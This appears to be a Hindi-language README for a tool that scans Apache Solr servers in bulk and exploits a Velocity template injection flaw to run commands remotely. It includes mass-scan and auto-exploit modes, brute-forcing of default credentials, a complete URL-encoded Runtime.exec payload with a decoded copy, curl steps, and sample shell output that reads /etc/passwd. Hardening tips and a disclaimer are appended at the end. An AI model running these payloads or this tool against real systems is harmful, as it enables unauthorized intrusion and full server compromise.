
☄️ Apache Solr CVE-2026-44825 के लिए बड़े पैमाने पर टोही और शोषण ढांचा — वेलोसिटी टेम्पलेट इंजेक्शन से RCE
CVE-2026-44825 Apache Solr में एक गंभीर-स्तर की भेद्यता है जो हमलावरों को Velocity template injection के माध्यम से बिना प्रमाणीकरण के Remote Code Execution (RCE) प्राप्त करने की अनुमति देती है।
Apache Solr का /select एंडपॉइंट एक wt=velocity पैरामीटर स्वीकार करता है जो उपयोगकर्ता द्वारा प्रदान किए गए Velocity टेम्पलेट्स को रेंडर करता है। जब Velocity Response Writer सक्षम होता है (या कॉन्फ़िगरेशन API के माध्यम से सक्षम किया जा सकता है), एक हमलावर एक दुर्भावनापूर्ण टेम्पलेट इंजेक्ट कर सकता है जो java.lang.Runtime.exec() को कॉल करता है, जिससे Solr प्रक्रिया के विशेषाधिकारों के साथ मनमाने सिस्टम कमांड निष्पादित होते हैं।
| वेक्टर | गंभीरता | प्रभाव |
|---|---|---|
| बिना प्रमाणीकरण RCE | 9.8 (गंभीर) | पूर्ण सिस्टम समझौता |
Apache Solr प्रतिक्रिया रेंडरिंग के लिए Apache Velocity को एक वैकल्पिक टेम्पलेट इंजन के रूप में बंडल करता है। भेद्यता Solr के VelocityResponseWriter में निहित है जो उपयोगकर्ता-नियंत्रित टेम्पलेट मापदंडों को पर्याप्त स्वच्छता के बिना संसाधित करता है, जिससे Java reflection APIs का सीधा आह्वान संभव होता है:
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
नोट:
/admin/info/systemJSON प्रतिक्रिया को पार्स करके संस्करण जाँच स्वचालित रूप से की जाती है।
# रिपॉजिटरी क्लोन करें
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
# सत्यापित करें
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
केवल मानक लाइब्रेरीज़ +
requests। कोई विदेशी निर्भरता नहीं।
CVE-2026-44825 Apache Solr Scanner
-t, --target एकल लक्ष्य URL या IP[:port]
-f, --file लक्ष्यों वाली फ़ाइल (प्रति पंक्ति एक, # टिप्पणियों के लिए)
--exploit यदि असुरक्षित क्रेडेंशियल मिलते हैं तो स्वतः शोषण
--rce प्रमाणीकरण के बाद इंटरैक्टिव शेल लॉन्च करें
-u, --user Basic Auth के लिए उपयोगकर्ता नाम
-pw, --password Basic Auth के लिए पासवर्ड
-o, --output JSON आउटपुट फ़ाइल पथ (डिफ़ॉल्ट: solr_results.json)
-w, --workers समवर्ती थ्रेड की संख्या (डिफ़ॉल्ट: 30)
-T, --timeout HTTP अनुरोध टाइमआउट (सेकंड) (डिफ़ॉल्ट: 8)
# एकल लक्ष्य
python solr_scanner.py -t 192.168.1.100:8983
# कस्टम पथ के साथ एकल लक्ष्य
python solr_scanner.py -t http://example.com/solr
# फ़ाइल से सामूहिक स्कैन
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — टिप्पणियों और खाली पंक्तियों का समर्थन करता है
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR समर्थित नहीं; बाहरी उपकरण से पूर्व-विस्तार करें)
# स्कैन + यदि क्रेडेंशियल मिलते हैं तो स्वतः शोषण
python solr_scanner.py -f targets.txt --exploit
# ज्ञात क्रेडेंशियल + इंटरैक्टिव शेल
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# स्वतः ब्रूट-फोर्स + सफलता पर शेल
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Done. Total:3 | Solr:3 | Vuln:1
सभी 3 लक्ष्यों का पता चला। 9.4.1 इंस्टेंस को Basic Auth सक्षम के साथ असुरक्षित चिह्नित किया गया।
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
डिफ़ॉल्ट क्रेडेंशियल
admin:SolrRocksSolr एडमिन APIs तक पहुँच प्रदान करता है। चार संग्रह खोजे गए।
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
Solr Java प्रक्रिया के विशेषाधिकारों के साथ पूर्ण इंटरैक्टिव शेल एक्सेस।
शोधकर्ताओं के लिए जो कच्चे HTTP आदान-प्रदान को समझना चाहते हैं:
चरण 1 — सत्यापित करें कि Solr पहुँच योग्य है
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"
चरण 2 — उपलब्ध संग्रह सूचीबद्ध करें
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}
चरण 3 — Velocity template injection के माध्यम से कमांड निष्पादित करें
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
'http://target:8983/solr/cms/select'
डिकोडेड Velocity टेम्पलेट पेलोड:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
प्रतिक्रिया:
uid=8983(solr) gid=8983(solr) groups=8983(solr)
┌──────────────────────────────────────────────────────┐
│ SOLRRADAR │
├───────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Detect │──┼──▶ Brute- │───▶│ Velocity RCE │ │
│ │ Solr │ │ │ force │ │ Template Inj. │ │
│ └────┬────┘ │ └────┬─────┘ └───────┬────────┘ │
│ │ │ │ │ │
│ ▼ │ ▼ ▼ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Version │ │ │ Default │ │ Runtime.exec() │ │
│ │ Check │ │ │ Creds │ │ → RCE │ │
│ └─────────┘ │ └──────────┘ └────────────────┘ │
│ │ │
│ ┌─────────┐ │ ┌────────────────────────────────┐ │
│ │ Auth │ │ │ Interactive Shell (--rce) │ │
│ │ Probe │ │ └────────────────────────────────┘ │
│ └─────────┘ │ │
└───────────────┴──────────────────────────────────────┘
Target URL
│
▼
┌─────────────┐
│ normalize │ → add http:// + /solr if missing
└──────┬──────┘
│
▼
┌─────────────┐ No
│ GET /admin/ ├──────── Skip target
│ info/system │
└──────┬──────┘
│ Yes (200/401)
▼
┌─────────────┐
│ Parse JSON │ → extract solr-spec-version
│ fingerprint │
└──────┬──────┘
│
▼
┌─────────────┐
│ is_vuln() │ → 9.4–9.10.x or 10.0.0 ?
└──────┬──────┘
│
├── Not vuln → Report, move on
│
▼ Vuln
┌─────────────┐
│ Auth check │ → /admin/cores?action=STATUS
│ (3-stage) │ → /admin/collections?action=LIST
└──────┬──────┘
│
├── No auth → Try unauthenticated listing
│
▼ Auth detected
┌─────────────┐
│ Brute-force │ → 4 users × 8 passwords = 32 attempts
│ credentials │
└──────┬──────┘
│
├── No match → Report vuln (no creds)
│
▼ Creds found
┌─────────────┐
│ List cols / │ → /admin/collections or /admin/cores
│ cores │
└──────┬──────┘
│
▼
┌─────────────┐
│ RCE via │ → POST /{collection}/select
│ Velocity │ → Velocity template → Runtime.exec()
└─────────────┘
bool(Response[401]) == False क्यों मायने रखता हैविकास के दौरान पाया गया एक सूक्ष्म Python पिटफॉल:
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False # ← 4xx/5xx प्रतिक्रियाएँ False का मूल्यांकन करती हैं!
इसका मतलब है कि हर if response and ... चेक मौन रूप से त्रुटि प्रतिक्रियाओं को छोड़ देता है — भले ही आप विशेष रूप से 401 को संभालना चाहते हों। सुधार हमेशा if response is not None and ... का उपयोग करना है:
# ❌ टूटा — 401 प्रतिक्रियाएँ मौन रूप से छोड़ दी जाती हैं
if r and r.status_code == 401:
auth = True
# ✅ सही — None के लिए स्पष्ट रूप से जाँच करें
if r is not None and r.status_code == 401:
auth = True
स्कैनर 3-स्तरीय पहचान रणनीति का उपयोग करता है जिससे गलत नकारात्मक परिणाम कम से कम हों:
'solr' in response.text.lower()
JSON कुंजियों ("solr_home", "solr-spec-version", "mode":"solrcloud"), HTML डैशबोर्ड और त्रुटि पृष्ठों में Solr को पकड़ता है — केस-इनसेंसिटिव।
'solr' in response.headers.get('Server', '').lower()
कुछ डिप्लॉयमेंट HTTP Server हेडर में "Solr" शामिल करते हैं।
# Stage 1: Check /admin/info/system response code
# Stage 2: Probe /admin/cores?action=STATUS for 401
# Stage 3: Probe /admin/collections?action=LIST for 401
ऐसे डिप्लॉयमेंट को पकड़ता है जहाँ /admin/info/system सार्वजनिक है लेकिन एडमिन ऑपरेशनों के लिए प्रमाणीकरण आवश्यक है।
मजबूती के लिए दो regex पैटर्न:
VERSION_RE = [
r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version
r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version
]
यदि आप Apache Solr चला रहे हैं, तो तुरंत इन सख्ती के उपायों को लागू करें:
# पैच किए गए संस्करण में अपग्रेड करें
# Solr 9.x → 9.10.2 या बाद का
# Solr 10.x → 10.0.1 या बाद का
<!-- solrconfig.xml में — हटाएँ या टिप्पणी करें: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->
# नेटवर्क स्तर पर Solr एडमिन एंडपॉइंट तक पहुँच प्रतिबंधित करें
# केवल विश्वसनीय IP श्रेणियों को पोर्ट 8983/7574 तक पहुँच की अनुमति दें
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP
# अपने स्वयं के बुनियादी ढाँचे के विरुद्ध इस स्कैनर का उपयोग करें
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json
🚨 केवल शैक्षिक एवं अधिकृत परीक्षण उद्देश्यों के लिए
यह सॉफ़्टवेयर केवल शैक्षिक उद्देश्यों और वैध सुरक्षा अनुसंधान के लिए प्रदान किया गया है। इसका उपयोग निम्नलिखित द्वारा किए जाने का इरादा है:
- 🛡️ सुरक्षा पेशेवर अधिकृत प्रवेश परीक्षण आयोजित कर रहे हैं
- 🏢 संगठन अपने स्वयं के Apache Solr बुनियादी ढाँचे का ऑडिट कर रहे हैं
- 🔬 शोधकर्ता भेद्यता शोषण तकनीकों का अध्ययन कर रहे हैं
- 🎓 छात्र वेब अनुप्रयोग सुरक्षा के बारे में सीख रहे हैं
❌ आप इस सॉफ़्टवेयर का उपयोग नहीं कर सकते:
- स्पष्ट लिखित प्राधिकरण के बिना कंप्यूटर सिस्टम तक पहुँचने के लिए
- उन सिस्टमों से समझौता करने, क्षति पहुँचाने या बाधित करने के लिए जिनके आप स्वामी नहीं हैं
- किसी भी प्रकार की अवैध गतिविधि में संलग्न होने के लिए
⚖️ कानूनी नोटिस
कंप्यूटर सिस्टम तक अनधिकृत पहुँच निम्नलिखित सहित लेकिन इन्हीं तक सीमित नहीं, कानूनों का उल्लंघन करती है:
- संयुक्त राज्य अमेरिका: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- इंडोनेशिया: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- यूरोपीय संघ: Directive 2013/40/EU
- यूनाइटेड किंगडम: Computer Misuse Act 1990
लेखक इस उपकरण के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए कोई दायित्व नहीं मानते हैं। इस सॉफ़्टवेयर का उपयोग करके, आप स्वीकार करते हैं कि आप अपने कार्यों के लिए पूरी तरह से जिम्मेदार हैं और सभी लागू कानूनों का पालन करने के लिए सहमत हैं।
⚡ सुरक्षा अनुसंधान समुदाय के लिए सटीकता के साथ निर्मित ⚡
Apache® और Apache Solr® Apache Software Foundation के पंजीकृत ट्रेडमार्क हैं।
यह प्रोजेक्ट Apache Software Foundation से संबद्ध या समर्थित नहीं है।
| प्रमाणित RCE | 8.8 (उच्च) | प्रमाणीकरण के बाद कोड निष्पादन |
| सूचना प्रकटीकरण | 5.3 (मध्यम) | कोर/संग्रह गणना |
| Apache Solr संस्करण | स्थिति | टिप्पणियाँ |
|---|
| 9.4.0 – 9.10.1 | 🔴 असुरक्षित | जंगल में सक्रिय शोषण |
| 10.0.0 | 🔴 असुरक्षित | प्रभावित प्रारंभिक 10.x रिलीज़ |
| 10.0.1+ | 🟢 पैच किया गया | सुधार बैकपोर्ट किया गया |
| 9.10.2+ | 🟢 पैच किया गया | पैच रिलीज़ उपलब्ध |
| ≤ 9.3.x | 🟢 प्रभावित नहीं | Velocity Response Writer मौजूद नहीं |
| 8.x (सभी) | 🟢 प्रभावित नहीं | कोई Velocity समर्थन नहीं |
🔍 टोही (Reconnaissance)
|
💀 शोषण (Exploitation)
|
| संसाधन | लिंक |
|---|
| NVD प्रविष्टि | CVE-2026-44825 |
| Apache Solr सुरक्षा | solr.apache.org/security |
| Solr Velocity दस्तावेज़ | Velocity Response Writer |
| OWASP टेम्पलेट इंजेक्शन | Server-Side Template Injection |